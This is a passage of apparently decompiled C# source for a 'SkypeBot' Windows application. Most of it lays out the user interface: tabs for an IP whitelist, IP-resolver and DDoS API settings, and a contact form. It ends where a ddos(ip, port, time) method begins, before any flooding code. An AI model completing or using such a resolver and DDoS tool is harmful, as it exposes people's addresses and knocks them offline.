  2569.             this.FlatLabel10.BackColor = Color.Transparent;
  2570.             this.FlatLabel10.Font = new Font("Segoe UI", 8f);
  2571.             this.FlatLabel10.ForeColor = Color.FromArgb(211, 211, 211);
  2572.             Control arg_2B96_0 = this.FlatLabel10;
  2573.             location = new Point(0, 472);
  2574.             arg_2B96_0.Location = location;
  2575.             this.FlatLabel10.Name = "FlatLabel10";
  2576.             Control arg_2BC1_0 = this.FlatLabel10;
  2577.             size = new Size(58, 13);
  2578.             arg_2BC1_0.Size = size;
  2579.             this.FlatLabel10.TabIndex = 11;
  2580.             this.FlatLabel10.Text = "yourname";
  2581.             this.Button13.BackColor = Color.Transparent;
  2582.             this.Button13.BaseColor = Color.FromArgb(30, 30, 30);
  2583.             this.Button13.Cursor = Cursors.Hand;
  2584.             this.Button13.Font = new Font("Segoe UI", 12f);
  2585.             Control arg_2C4F_0 = this.Button13;
  2586.             location = new Point(3, 884);
  2587.             arg_2C4F_0.Location = location;
  2588.             this.Button13.Name = "Button13";
  2589.             this.Button13.Rounded = false;
  2590.             Control arg_2C8A_0 = this.Button13;
  2591.             size = new Size(355, 32);
  2592.             arg_2C8A_0.Size = size;
  2593.             this.Button13.TabIndex = 10;
  2594.             this.Button13.Text = "Save";
  2595.             this.Button13.TextColor = Color.FromArgb(211, 211, 211);
  2596.             this.TextBox5.BackColor = Color.Transparent;
  2597.             Control arg_2CF5_0 = this.TextBox5;
  2598.             location = new Point(3, 483);
  2599.             arg_2CF5_0.Location = location;
  2600.             this.TextBox5.MaxLength = 32767;
  2601.             this.TextBox5.Multiline = true;
  2602.             this.TextBox5.Name = "TextBox5";
  2603.             this.TextBox5.ReadOnly = false;
  2604.             Control arg_2D51_0 = this.TextBox5;
  2605.             size = new Size(355, 400);
  2606.             arg_2D51_0.Size = size;
  2607.             this.TextBox5.TabIndex = 9;
  2608.             this.TextBox5.TextAlign = HorizontalAlignment.Left;
  2609.             this.TextBox5.TextColor = Color.FromArgb(211, 211, 211);
  2610.             this.TextBox5.UseSystemPasswordChar = false;
  2611.             this.FlatLabel11.AutoSize = true;
  2612.             this.FlatLabel11.BackColor = Color.Transparent;
  2613.             this.FlatLabel11.Font = new Font("Segoe UI", 8f);
  2614.             this.FlatLabel11.ForeColor = Color.FromArgb(211, 211, 211);
  2615.             Control arg_2E09_0 = this.FlatLabel11;
  2616.             location = new Point(3, 7);
  2617.             arg_2E09_0.Location = location;
  2618.             this.FlatLabel11.Name = "FlatLabel11";
  2619.             Control arg_2E34_0 = this.FlatLabel11;
  2620.             size = new Size(58, 13);
  2621.             arg_2E34_0.Size = size;
  2622.             this.FlatLabel11.TabIndex = 8;
  2623.             this.FlatLabel11.Text = "yourname";
  2624.             this.Button12.BackColor = Color.Transparent;
  2625.             this.Button12.BaseColor = Color.FromArgb(30, 30, 30);
  2626.             this.Button12.Cursor = Cursors.Hand;
  2627.             this.Button12.Font = new Font("Segoe UI", 12f);
  2628.             Control arg_2EC1_0 = this.Button12;
  2629.             location = new Point(3, 423);
  2630.             arg_2EC1_0.Location = location;
  2631.             this.Button12.Name = "Button12";
  2632.             this.Button12.Rounded = false;
  2633.             Control arg_2EFC_0 = this.Button12;
  2634.             size = new Size(355, 32);
  2635.             arg_2EFC_0.Size = size;
  2636.             this.Button12.TabIndex = 7;
  2637.             this.Button12.Text = "Save";
  2638.             this.Button12.TextColor = Color.FromArgb(211, 211, 211);
  2639.             this.TextBox4.BackColor = Color.Transparent;
  2640.             Control arg_2F63_0 = this.TextBox4;
  2641.             location = new Point(3, 21);
  2642.             arg_2F63_0.Location = location;
  2643.             this.TextBox4.MaxLength = 32767;
  2644.             this.TextBox4.Multiline = true;
  2645.             this.TextBox4.Name = "TextBox4";
  2646.             this.TextBox4.ReadOnly = false;
  2647.             Control arg_2FBF_0 = this.TextBox4;
  2648.             size = new Size(355, 400);
  2649.             arg_2FBF_0.Size = size;
  2650.             this.TextBox4.TabIndex = 6;
  2651.             this.TextBox4.TextAlign = HorizontalAlignment.Left;
  2652.             this.TextBox4.TextColor = Color.FromArgb(211, 211, 211);
  2653.             this.TextBox4.UseSystemPasswordChar = false;
  2654.             this.IPWhitelist.BackColor = Color.FromArgb(40, 40, 40);
  2655.             this.IPWhitelist.Controls.Add(this.FlatLabel8);
  2656.             this.IPWhitelist.Controls.Add(this.Button15);
  2657.             this.IPWhitelist.Controls.Add(this.TextBox7);
  2658.             TabPage arg_307A_0 = this.IPWhitelist;
  2659.             location = new Point(4, 44);
  2660.             arg_307A_0.Location = location;
  2661.             this.IPWhitelist.Name = "IPWhitelist";
  2662.             Control arg_30A2_0 = this.IPWhitelist;
  2663.             padding = new Padding(3);
  2664.             arg_30A2_0.Padding = padding;
  2665.             Control arg_30C2_0 = this.IPWhitelist;
  2666.             size = new Size(739, 505);
  2667.             arg_30C2_0.Size = size;
  2668.             this.IPWhitelist.TabIndex = 5;
  2669.             this.IPWhitelist.Text = "Whitelist";
  2670.             this.FlatLabel8.AutoSize = true;
  2671.             this.FlatLabel8.BackColor = Color.Transparent;
  2672.             this.FlatLabel8.Font = new Font("Segoe UI", 8f);
  2673.             this.FlatLabel8.ForeColor = Color.FromArgb(211, 211, 211);
  2674.             Control arg_3151_0 = this.FlatLabel8;
  2675.             location = new Point(6, -2);
  2676.             arg_3151_0.Location = location;
  2677.             this.FlatLabel8.Name = "FlatLabel8";
  2678.             Control arg_317F_0 = this.FlatLabel8;
  2679.             size = new Size(187, 13);
  2680.             arg_317F_0.Size = size;
  2681.             this.FlatLabel8.TabIndex = 5;
  2682.             this.FlatLabel8.Text = "Note: This user wont be resolvable!";
  2683.             this.Button15.BackColor = Color.Transparent;
  2684.             this.Button15.BaseColor = Color.FromArgb(30, 30, 30);
  2685.             this.Button15.Cursor = Cursors.Hand;
  2686.             this.Button15.Font = new Font("Segoe UI", 12f);
  2687.             Control arg_320C_0 = this.Button15;
  2688.             location = new Point(0, 467);
  2689.             arg_320C_0.Location = location;
  2690.             this.Button15.Name = "Button15";
  2691.             this.Button15.Rounded = false;
  2692.             Control arg_3247_0 = this.Button15;
  2693.             size = new Size(731, 32);
  2694.             arg_3247_0.Size = size;
  2695.             this.Button15.TabIndex = 4;
  2696.             this.Button15.Text = "Save";
  2697.             this.Button15.TextColor = Color.FromArgb(211, 211, 211);
  2698.             this.TextBox7.BackColor = Color.Transparent;
  2699.             Control arg_32AE_0 = this.TextBox7;
  2700.             location = new Point(6, 26);
  2701.             arg_32AE_0.Location = location;
  2702.             this.TextBox7.MaxLength = 32767;
  2703.             this.TextBox7.Multiline = true;
  2704.             this.TextBox7.Name = "TextBox7";
  2705.             this.TextBox7.ReadOnly = false;
  2706.             Control arg_330A_0 = this.TextBox7;
  2707.             size = new Size(725, 435);
  2708.             arg_330A_0.Size = size;
  2709.             this.TextBox7.TabIndex = 3;
  2710.             this.TextBox7.TextAlign = HorizontalAlignment.Left;
  2711.             this.TextBox7.TextColor = Color.FromArgb(211, 211, 211);
  2712.             this.TextBox7.UseSystemPasswordChar = false;
  2713.             this.TabPage1.BackColor = Color.FromArgb(40, 40, 40);
  2714.             this.TabPage1.Controls.Add(this.FlatButton2);
  2715.             this.TabPage1.Controls.Add(this.FlatTextBox2);
  2716.             this.TabPage1.Controls.Add(this.FlatLabel5);
  2717.             this.TabPage1.Controls.Add(this.FlatTextBox1);
  2718.             this.TabPage1.Controls.Add(this.FlatLabel4);
  2719.             TabPage arg_33F3_0 = this.TabPage1;
  2720.             location = new Point(4, 44);
  2721.             arg_33F3_0.Location = location;
  2722.             this.TabPage1.Name = "TabPage1";
  2723.             Control arg_341B_0 = this.TabPage1;
  2724.             padding = new Padding(3);
  2725.             arg_341B_0.Padding = padding;
  2726.             Control arg_343B_0 = this.TabPage1;
  2727.             size = new Size(739, 505);
  2728.             arg_343B_0.Size = size;
  2729.             this.TabPage1.TabIndex = 6;
  2730.             this.TabPage1.Text = "Ideas/Contact";
  2731.             this.FlatButton2.BackColor = Color.Transparent;
  2732.             this.FlatButton2.BaseColor = Color.FromArgb(30, 30, 30);
  2733.             this.FlatButton2.Cursor = Cursors.Hand;
  2734.             this.FlatButton2.Font = new Font("Segoe UI", 12f);
  2735.             Control arg_34C9_0 = this.FlatButton2;
  2736.             location = new Point(9, 470);
  2737.             arg_34C9_0.Location = location;
  2738.             this.FlatButton2.Name = "FlatButton2";
  2739.             this.FlatButton2.Rounded = false;
  2740.             Control arg_3504_0 = this.FlatButton2;
  2741.             size = new Size(727, 32);
  2742.             arg_3504_0.Size = size;
  2743.             this.FlatButton2.TabIndex = 4;
  2744.             this.FlatButton2.Text = "Send!";
  2745.             this.FlatButton2.TextColor = Color.FromArgb(211, 211, 211);
  2746.             this.FlatTextBox2.BackColor = Color.Transparent;
  2747.             Control arg_356C_0 = this.FlatTextBox2;
  2748.             location = new Point(81, 47);
  2749.             arg_356C_0.Location = location;
  2750.             this.FlatTextBox2.MaxLength = 32767;
  2751.             this.FlatTextBox2.Multiline = true;
  2752.             this.FlatTextBox2.Name = "FlatTextBox2";
  2753.             this.FlatTextBox2.ReadOnly = false;
  2754.             Control arg_35C8_0 = this.FlatTextBox2;
  2755.             size = new Size(619, 417);
  2756.             arg_35C8_0.Size = size;
  2757.             this.FlatTextBox2.TabIndex = 3;
  2758.             this.FlatTextBox2.Text = "Please inform your name, what you want, what bugs you found, what errors you occured etc. thanks!";
  2759.             this.FlatTextBox2.TextAlign = HorizontalAlignment.Left;
  2760.             this.FlatTextBox2.TextColor = Color.FromArgb(211, 211, 211);
  2761.             this.FlatTextBox2.UseSystemPasswordChar = false;
  2762.             this.FlatLabel5.AutoSize = true;
  2763.             this.FlatLabel5.BackColor = Color.Transparent;
  2764.             this.FlatLabel5.Font = new Font("Segoe UI", 8f);
  2765.             this.FlatLabel5.ForeColor = Color.FromArgb(211, 211, 211);
  2766.             Control arg_3691_0 = this.FlatLabel5;
  2767.             location = new Point(6, 47);
  2768.             arg_3691_0.Location = location;
  2769.             this.FlatLabel5.Name = "FlatLabel5";
  2770.             Control arg_36BC_0 = this.FlatLabel5;
  2771.             size = new Size(55, 13);
  2772.             arg_36BC_0.Size = size;
  2773.             this.FlatLabel5.TabIndex = 2;
  2774.             this.FlatLabel5.Text = "Message:";
  2775.             this.FlatTextBox1.BackColor = Color.Transparent;
  2776.             Control arg_3703_0 = this.FlatTextBox1;
  2777.             location = new Point(81, 6);
  2778.             arg_3703_0.Location = location;
  2779.             this.FlatTextBox1.MaxLength = 32767;
  2780.             this.FlatTextBox1.Multiline = false;
  2781.             this.FlatTextBox1.Name = "FlatTextBox1";
  2782.             this.FlatTextBox1.ReadOnly = true;
  2783.             Control arg_375C_0 = this.FlatTextBox1;
  2784.             size = new Size(619, 29);
  2785.             arg_375C_0.Size = size;
  2786.             this.FlatTextBox1.TabIndex = 1;
  2787.             this.FlatTextBox1.TextAlign = HorizontalAlignment.Left;
  2788.             this.FlatTextBox1.TextColor = Color.FromArgb(211, 211, 211);
  2789.             this.FlatTextBox1.UseSystemPasswordChar = false;
  2790.             this.FlatLabel4.AutoSize = true;
  2791.             this.FlatLabel4.BackColor = Color.Transparent;
  2792.             this.FlatLabel4.Font = new Font("Segoe UI", 8f);
  2793.             this.FlatLabel4.ForeColor = Color.FromArgb(211, 211, 211);
  2794.             Control arg_3814_0 = this.FlatLabel4;
  2795.             location = new Point(6, 16);
  2796.             arg_3814_0.Location = location;
  2797.             this.FlatLabel4.Name = "FlatLabel4";
  2798.             Control arg_383F_0 = this.FlatLabel4;
  2799.             size = new Size(69, 13);
  2800.             arg_383F_0.Size = size;
  2801.             this.FlatLabel4.TabIndex = 0;
  2802.             this.FlatLabel4.Text = "SkypeName:";
  2803.             this.TabPage2.BackColor = Color.FromArgb(40, 40, 40);
  2804.             this.TabPage2.Controls.Add(this.FlatLabel23);
  2805.             this.TabPage2.Controls.Add(this.FlatButton8);
  2806.             this.TabPage2.Controls.Add(this.FlatButton7);
  2807.             this.TabPage2.Controls.Add(this.FlatButton6);
  2808.             this.TabPage2.Controls.Add(this.FlatButton5);
  2809.             this.TabPage2.Controls.Add(this.FlatLabel22);
  2810.             this.TabPage2.Controls.Add(this.FlatTextBox6);
  2811.             this.TabPage2.Controls.Add(this.FlatLabel21);
  2812.             this.TabPage2.Controls.Add(this.FlatTextBox5);
  2813.             this.TabPage2.Controls.Add(this.FlatLabel20);
  2814.             this.TabPage2.Controls.Add(this.FlatTextBox4);
  2815.             this.TabPage2.Controls.Add(this.FlatLabel19);
  2816.             this.TabPage2.Controls.Add(this.FlatLabel13);
  2817.             this.TabPage2.Controls.Add(this.FlatTextBox3);
  2818.             TabPage arg_39CE_0 = this.TabPage2;
  2819.             location = new Point(4, 44);
  2820.             arg_39CE_0.Location = location;
  2821.             this.TabPage2.Name = "TabPage2";
  2822.             Control arg_39F6_0 = this.TabPage2;
  2823.             padding = new Padding(3);
  2824.             arg_39F6_0.Padding = padding;
  2825.             Control arg_3A16_0 = this.TabPage2;
  2826.             size = new Size(739, 505);
  2827.             arg_3A16_0.Size = size;
  2828.             this.TabPage2.TabIndex = 7;
  2829.             this.TabPage2.Text = "/";
  2830.             this.FlatLabel23.AutoSize = true;
  2831.             this.FlatLabel23.BackColor = Color.Transparent;
  2832.             this.FlatLabel23.Font = new Font("Segoe UI", 8f);
  2833.             this.FlatLabel23.ForeColor = Color.FromArgb(211, 211, 211);
  2834.             Control arg_3AA8_0 = this.FlatLabel23;
  2835.             location = new Point(229, 3);
  2836.             arg_3AA8_0.Location = location;
  2837.             this.FlatLabel23.Name = "FlatLabel23";
  2838.             Control arg_3AD6_0 = this.FlatLabel23;
  2839.             size = new Size(237, 13);
  2840.             arg_3AD6_0.Size = size;
  2841.             this.FlatLabel23.TabIndex = 21;
  2842.             this.FlatLabel23.Text = "Click the \"?\" before changing the API please..";
  2843.             this.FlatButton8.BackColor = Color.Transparent;
  2844.             this.FlatButton8.BaseColor = Color.FromArgb(30, 30, 30);
  2845.             this.FlatButton8.Cursor = Cursors.Hand;
  2846.             this.FlatButton8.Font = new Font("Segoe UI", 12f);
  2847.             Control arg_3B68_0 = this.FlatButton8;
  2848.             location = new Point(242, 157);
  2849.             arg_3B68_0.Location = location;
  2850.             this.FlatButton8.Name = "FlatButton8";
  2851.             this.FlatButton8.Rounded = false;
  2852.             Control arg_3BA0_0 = this.FlatButton8;
  2853.             size = new Size(21, 19);
  2854.             arg_3BA0_0.Size = size;
  2855.             this.FlatButton8.TabIndex = 20;
  2856.             this.FlatButton8.Text = "?";
  2857.             this.FlatButton8.TextColor = Color.FromArgb(211, 211, 211);
  2858.             this.FlatButton7.BackColor = Color.Transparent;
  2859.             this.FlatButton7.BaseColor = Color.FromArgb(30, 30, 30);
  2860.             this.FlatButton7.Cursor = Cursors.Hand;
  2861.             this.FlatButton7.Font = new Font("Segoe UI", 12f);
  2862.             Control arg_3C4F_0 = this.FlatButton7;
  2863.             location = new Point(242, 122);
  2864.             arg_3C4F_0.Location = location;
  2865.             this.FlatButton7.Name = "FlatButton7";
  2866.             this.FlatButton7.Rounded = false;
  2867.             Control arg_3C87_0 = this.FlatButton7;
  2868.             size = new Size(21, 19);
  2869.             arg_3C87_0.Size = size;
  2870.             this.FlatButton7.TabIndex = 19;
  2871.             this.FlatButton7.Text = "?";
  2872.             this.FlatButton7.TextColor = Color.FromArgb(211, 211, 211);
  2873.             this.FlatButton6.BackColor = Color.Transparent;
  2874.             this.FlatButton6.BaseColor = Color.FromArgb(30, 30, 30);
  2875.             this.FlatButton6.Cursor = Cursors.Hand;
  2876.             this.FlatButton6.Font = new Font("Segoe UI", 12f);
  2877.             Control arg_3D36_0 = this.FlatButton6;
  2878.             location = new Point(242, 87);
  2879.             arg_3D36_0.Location = location;
  2880.             this.FlatButton6.Name = "FlatButton6";
  2881.             this.FlatButton6.Rounded = false;
  2882.             Control arg_3D6E_0 = this.FlatButton6;
  2883.             size = new Size(21, 19);
  2884.             arg_3D6E_0.Size = size;
  2885.             this.FlatButton6.TabIndex = 18;
  2886.             this.FlatButton6.Text = "?";
  2887.             this.FlatButton6.TextColor = Color.FromArgb(211, 211, 211);
  2888.             this.FlatButton5.BackColor = Color.Transparent;
  2889.             this.FlatButton5.BaseColor = Color.FromArgb(30, 30, 30);
  2890.             this.FlatButton5.Cursor = Cursors.Hand;
  2891.             this.FlatButton5.Font = new Font("Segoe UI", 12f);
  2892.             Control arg_3E1D_0 = this.FlatButton5;
  2893.             location = new Point(242, 52);
  2894.             arg_3E1D_0.Location = location;
  2895.             this.FlatButton5.Name = "FlatButton5";
  2896.             this.FlatButton5.Rounded = false;
  2897.             Control arg_3E55_0 = this.FlatButton5;
  2898.             size = new Size(21, 19);
  2899.             arg_3E55_0.Size = size;
  2900.             this.FlatButton5.TabIndex = 17;
  2901.             this.FlatButton5.Text = "?";
  2902.             this.FlatButton5.TextColor = Color.FromArgb(211, 211, 211);
  2903.             this.FlatLabel22.AutoSize = true;
  2904.             this.FlatLabel22.BackColor = Color.Transparent;
  2905.             this.FlatLabel22.Font = new Font("Segoe UI", 8f);
  2906.             this.FlatLabel22.ForeColor = Color.FromArgb(211, 211, 211);
  2907.             Control arg_3F08_0 = this.FlatLabel22;
  2908.             location = new Point(7, 163);
  2909.             arg_3F08_0.Location = location;
  2910.             this.FlatLabel22.Name = "FlatLabel22";
  2911.             Control arg_3F33_0 = this.FlatLabel22;
  2912.             size = new Size(39, 13);
  2913.             arg_3F33_0.Size = size;
  2914.             this.FlatLabel22.TabIndex = 8;
  2915.             this.FlatLabel22.Text = "DDoS:";
  2916.             this.FlatTextBox6.BackColor = Color.Transparent;
  2917.             Control arg_3F7E_0 = this.FlatTextBox6;
  2918.             location = new Point(75, 150);
  2919.             arg_3F7E_0.Location = location;
  2920.             this.FlatTextBox6.MaxLength = 32767;
  2921.             this.FlatTextBox6.Multiline = false;
  2922.             this.FlatTextBox6.Name = "FlatTextBox6";
  2923.             this.FlatTextBox6.ReadOnly = false;
  2924.             Control arg_3FD7_0 = this.FlatTextBox6;
  2925.             size = new Size(161, 29);
  2926.             arg_3FD7_0.Size = size;
  2927.             this.FlatTextBox6.TabIndex = 7;
  2928.             this.FlatTextBox6.TextAlign = HorizontalAlignment.Left;
  2929.             this.FlatTextBox6.TextColor = Color.FromArgb(211, 211, 211);
  2930.             this.FlatTextBox6.UseSystemPasswordChar = false;
  2931.             this.FlatLabel21.AutoSize = true;
  2932.             this.FlatLabel21.BackColor = Color.Transparent;
  2933.             this.FlatLabel21.Font = new Font("Segoe UI", 8f);
  2934.             this.FlatLabel21.ForeColor = Color.FromArgb(211, 211, 211);
  2935.             Control arg_4092_0 = this.FlatLabel21;
  2936.             location = new Point(7, 128);
  2937.             arg_4092_0.Location = location;
  2938.             this.FlatLabel21.Name = "FlatLabel21";
  2939.             Control arg_40BD_0 = this.FlatLabel21;
  2940.             size = new Size(67, 13);
  2941.             arg_40BD_0.Size = size;
  2942.             this.FlatLabel21.TabIndex = 6;
  2943.             this.FlatLabel21.Text = "Cached API:";
  2944.             this.FlatTextBox5.BackColor = Color.Transparent;
  2945.             Control arg_4105_0 = this.FlatTextBox5;
  2946.             location = new Point(75, 115);
  2947.             arg_4105_0.Location = location;
  2948.             this.FlatTextBox5.MaxLength = 32767;
  2949.             this.FlatTextBox5.Multiline = false;
  2950.             this.FlatTextBox5.Name = "FlatTextBox5";
  2951.             this.FlatTextBox5.ReadOnly = false;
  2952.             Control arg_415E_0 = this.FlatTextBox5;
  2953.             size = new Size(161, 29);
  2954.             arg_415E_0.Size = size;
  2955.             this.FlatTextBox5.TabIndex = 5;
  2956.             this.FlatTextBox5.TextAlign = HorizontalAlignment.Left;
  2957.             this.FlatTextBox5.TextColor = Color.FromArgb(211, 211, 211);
  2958.             this.FlatTextBox5.UseSystemPasswordChar = false;
  2959.             this.FlatLabel20.AutoSize = true;
  2960.             this.FlatLabel20.BackColor = Color.Transparent;
  2961.             this.FlatLabel20.Font = new Font("Segoe UI", 8f);
  2962.             this.FlatLabel20.ForeColor = Color.FromArgb(211, 211, 211);
  2963.             Control arg_4216_0 = this.FlatLabel20;
  2964.             location = new Point(7, 93);
  2965.             arg_4216_0.Location = location;
  2966.             this.FlatLabel20.Name = "FlatLabel20";
  2967.             Control arg_4241_0 = this.FlatLabel20;
  2968.             size = new Size(62, 13);
  2969.             arg_4241_0.Size = size;
  2970.             this.FlatLabel20.TabIndex = 4;
  2971.             this.FlatLabel20.Text = "Resolver 2:";
  2972.             this.FlatTextBox4.BackColor = Color.Transparent;
  2973.             Control arg_4289_0 = this.FlatTextBox4;
  2974.             location = new Point(75, 80);
  2975.             arg_4289_0.Location = location;
  2976.             this.FlatTextBox4.MaxLength = 32767;
  2977.             this.FlatTextBox4.Multiline = false;
  2978.             this.FlatTextBox4.Name = "FlatTextBox4";
  2979.             this.FlatTextBox4.ReadOnly = false;
  2980.             Control arg_42E2_0 = this.FlatTextBox4;
  2981.             size = new Size(161, 29);
  2982.             arg_42E2_0.Size = size;
  2983.             this.FlatTextBox4.TabIndex = 3;
  2984.             this.FlatTextBox4.TextAlign = HorizontalAlignment.Left;
  2985.             this.FlatTextBox4.TextColor = Color.FromArgb(211, 211, 211);
  2986.             this.FlatTextBox4.UseSystemPasswordChar = false;
  2987.             this.FlatLabel19.AutoSize = true;
  2988.             this.FlatLabel19.BackColor = Color.Transparent;
  2989.             this.FlatLabel19.Font = new Font("Segoe UI", 8f);
  2990.             this.FlatLabel19.ForeColor = Color.FromArgb(211, 211, 211);
  2991.             Control arg_439A_0 = this.FlatLabel19;
  2992.             location = new Point(7, 58);
  2993.             arg_439A_0.Location = location;
  2994.             this.FlatLabel19.Name = "FlatLabel19";
  2995.             Control arg_43C5_0 = this.FlatLabel19;
  2996.             size = new Size(62, 13);
  2997.             arg_43C5_0.Size = size;
  2998.             this.FlatLabel19.TabIndex = 2;
  2999.             this.FlatLabel19.Text = "Resolver 1:";
  3000.             this.FlatLabel13.AutoSize = true;
  3001.             this.FlatLabel13.BackColor = Color.Transparent;
  3002.             this.FlatLabel13.Font = new Font("Segoe UI", 8f);
  3003.             this.FlatLabel13.ForeColor = Color.FromArgb(211, 211, 211);
  3004.             Control arg_4453_0 = this.FlatLabel13;
  3005.             location = new Point(6, 3);
  3006.             arg_4453_0.Location = location;
  3007.             this.FlatLabel13.Name = "FlatLabel13";
  3008.             Control arg_4481_0 = this.FlatLabel13;
  3009.             size = new Size(200, 13);
  3010.             arg_4481_0.Size = size;
  3011.             this.FlatLabel13.TabIndex = 1;
  3012.             this.FlatLabel13.Text = "Typ \"0\" to use the default inbuild APIs";
  3013.             this.FlatTextBox3.BackColor = Color.Transparent;
  3014.             Control arg_44C9_0 = this.FlatTextBox3;
  3015.             location = new Point(75, 45);
  3016.             arg_44C9_0.Location = location;
  3017.             this.FlatTextBox3.MaxLength = 32767;
  3018.             this.FlatTextBox3.Multiline = false;
  3019.             this.FlatTextBox3.Name = "FlatTextBox3";
  3020.             this.FlatTextBox3.ReadOnly = false;
  3021.             Control arg_4522_0 = this.FlatTextBox3;
  3022.             size = new Size(161, 29);
  3023.             arg_4522_0.Size = size;
  3024.             this.FlatTextBox3.TabIndex = 0;
  3025.             this.FlatTextBox3.TextAlign = HorizontalAlignment.Left;
  3026.             this.FlatTextBox3.TextColor = Color.FromArgb(211, 211, 211);
  3027.             this.FlatTextBox3.UseSystemPasswordChar = false;
  3028.             this.Button10.BackColor = Color.Transparent;
  3029.             this.Button10.BaseColor = Color.FromArgb(30, 30, 30);
  3030.             this.Button10.Cursor = Cursors.Hand;
  3031.             this.Button10.Font = new Font("Segoe UI", 12f);
  3032.             Control arg_45D8_0 = this.Button10;
  3033.             location = new Point(630, 4);
  3034.             arg_45D8_0.Location = location;
  3035.             this.Button10.Name = "Button10";
  3036.             this.Button10.Rounded = false;
  3037.             Control arg_4610_0 = this.Button10;
  3038.             size = new Size(60, 33);
  3039.             arg_4610_0.Size = size;
  3040.             this.Button10.TabIndex = 16;
  3041.             this.Button10.Text = "| Help |";
  3042.             this.Button10.TextColor = Color.FromArgb(211, 211, 211);
  3043.             this.NFI.ContextMenuStrip = this.FlatContextMenuStrip1;
  3044.             this.NFI.Icon = (Icon)componentResourceManager.GetObject("NFI.Icon");
  3045.             this.NFI.Text = "SkypeBot";
  3046.             this.NFI.Visible = true;
  3047.             this.FlatContextMenuStrip1.Font = new Font("Segoe UI", 8f);
  3048.             this.FlatContextMenuStrip1.ForeColor = Color.White;
  3049.             this.FlatContextMenuStrip1.Items.AddRange(new ToolStripItem[]
  3050.             {
  3051.                 this.ShowHideToolStripMenuItem1,
  3052.                 this.ExitToolStripMenuItem1
  3053.             });
  3054.             this.FlatContextMenuStrip1.Name = "FlatContextMenuStrip1";
  3055.             this.FlatContextMenuStrip1.ShowImageMargin = false;
  3056.             Control arg_4730_0 = this.FlatContextMenuStrip1;
  3057.             size = new Size(107, 48);
  3058.             arg_4730_0.Size = size;
  3059.             this.ShowHideToolStripMenuItem1.Name = "ShowHideToolStripMenuItem1";
  3060.             ToolStripItem arg_475B_0 = this.ShowHideToolStripMenuItem1;
  3061.             size = new Size(106, 22);
  3062.             arg_475B_0.Size = size;
  3063.             this.ShowHideToolStripMenuItem1.Text = "Show/Hide";
  3064.             this.ExitToolStripMenuItem1.Name = "ExitToolStripMenuItem1";
  3065.             ToolStripItem arg_4797_0 = this.ExitToolStripMenuItem1;
  3066.             size = new Size(106, 22);
  3067.             arg_4797_0.Size = size;
  3068.             this.ExitToolStripMenuItem1.Text = "Exit";
  3069.             SizeF autoScaleDimensions = new SizeF(6f, 13f);
  3070.             this.AutoScaleDimensions = autoScaleDimensions;
  3071.             this.AutoScaleMode = AutoScaleMode.Font;
  3072.             size = new Size(759, 611);
  3073.             this.ClientSize = size;
  3074.             this.Controls.Add(this.FormSkin1);
  3075.             this.FormBorderStyle = FormBorderStyle.None;
  3076.             this.Icon = (Icon)componentResourceManager.GetObject("$this.Icon");
  3077.             this.Name = "Form1";
  3078.             this.StartPosition = FormStartPosition.CenterScreen;
  3079.             this.Text = "SkypeBot";
  3080.             this.TransparencyKey = Color.Fuchsia;
  3081.             this.FormSkin1.ResumeLayout(false);
  3082.             this.FormSkin1.PerformLayout();
  3083.             this.FlatTabControl1.ResumeLayout(false);
  3084.             this.Settings.ResumeLayout(false);
  3085.             this.Settings.PerformLayout();
  3086.             ((ISupportInitialize)this.FlatNumeric1).EndInit();
  3087.             this.FlatGroupBox2.ResumeLayout(false);
  3088.             this.GroupBox1.ResumeLayout(false);
  3089.             this.GroupBox1.PerformLayout();
  3090.             this.FlatGroupBox1.ResumeLayout(false);
  3091.             this.Log.ResumeLayout(false);
  3092.             this.Admins.ResumeLayout(false);
  3093.             this.Panel1.ResumeLayout(false);
  3094.             this.Panel1.PerformLayout();
  3095.             this.IPWhitelist.ResumeLayout(false);
  3096.             this.IPWhitelist.PerformLayout();
  3097.             this.TabPage1.ResumeLayout(false);
  3098.             this.TabPage1.PerformLayout();
  3099.             this.TabPage2.ResumeLayout(false);
  3100.             this.TabPage2.PerformLayout();
  3101.             this.FlatContextMenuStrip1.ResumeLayout(false);
  3102.             this.ResumeLayout(false);
  3103.         }
  3104.         public void AddSwagToMSG(ChatMessage msg, string message, int timeout = 0)
  3105.         {
  3106.             bool flag = timeout == 0;
  3107.             if (flag)
  3108.             {
  3109.                 timeout = Convert.ToInt32(this.FlatNumeric1.Value);
  3110.             }
  3111.             flag = (-(this.swag > false) | this.swag == Conversions.ToBoolean("1"));
  3112.             checked
  3113.             {
  3114.                 if (flag)
  3115.                 {
  3116.                     string text = "_";
  3117.                     string[] array = message.Split(new string[]
  3118.                     {
  3119.                         Environment.NewLine
  3120.                     }, StringSplitOptions.RemoveEmptyEntries);
  3121.                     msg.Body = text;
  3122.                     int arg_87_0 = 0;
  3123.                     int num = array.Length - 1;
  3124.                     int num2 = arg_87_0;
  3125.                     while (true)
  3126.                     {
  3127.                         int arg_183_0 = num2;
  3128.                         int num3 = num;
  3129.                         if (arg_183_0 > num3)
  3130.                         {
  3131.                             break;
  3132.                         }
  3133.                         string[] array2 = array[num2].Split(new char[]
  3134.                         {
  3135.                             ' '
  3136.                         });
  3137.                         int arg_AE_0 = 0;
  3138.                         int num4 = array2.Length - 1;
  3139.                         int num5 = arg_AE_0;
  3140.                         while (true)
  3141.                         {
  3142.                             int arg_142_0 = num5;
  3143.                             num3 = num4;
  3144.                             if (arg_142_0 > num3)
  3145.                             {
  3146.                                 break;
  3147.                             }
  3148.                             char[] array3 = array2[num5].ToCharArray();
  3149.                             int arg_C9_0 = 0;
  3150.                             int num6 = array3.Length - 1;
  3151.                             int num7 = arg_C9_0;
  3152.                             while (true)
  3153.                             {
  3154.                                 int arg_10B_0 = num7;
  3155.                                 num3 = num6;
  3156.                                 if (arg_10B_0 > num3)
  3157.                                 {
  3158.                                     break;
  3159.                                 }
  3160.                                 Thread.Sleep(timeout);
  3161.                                 msg.Body = msg.Body.Replace(text, "") + Conversions.ToString(array3[num7]) + text;
  3162.                                 num7++;
  3163.                             }
  3164.                             msg.Body = msg.Body.Replace("_", "") + " _";
  3165.                             num5++;
  3166.                         }
  3167.                         msg.Body = (msg.Body + "\r\n").Replace("_", "") + " _";
  3168.                         num2++;
  3169.                     }
  3170.                     msg.Body = msg.Body.Replace("_", "");
  3171.                     msg.Body = message;
  3172.                 }
  3173.                 else
  3174.                 {
  3175.                     msg.Body = message;
  3176.                 }
  3177.             }
  3178.         }
  3179.         public object ddos(string ip, int port, int time)
  3180.         {
  3181.             while (true)
  3182.             {
  3183.                 VBMath.Randomize();
  3184.                 int num = checked((int)Math.Round((double)Conversion.Int(unchecked(VBMath.Rnd() * 3f))));
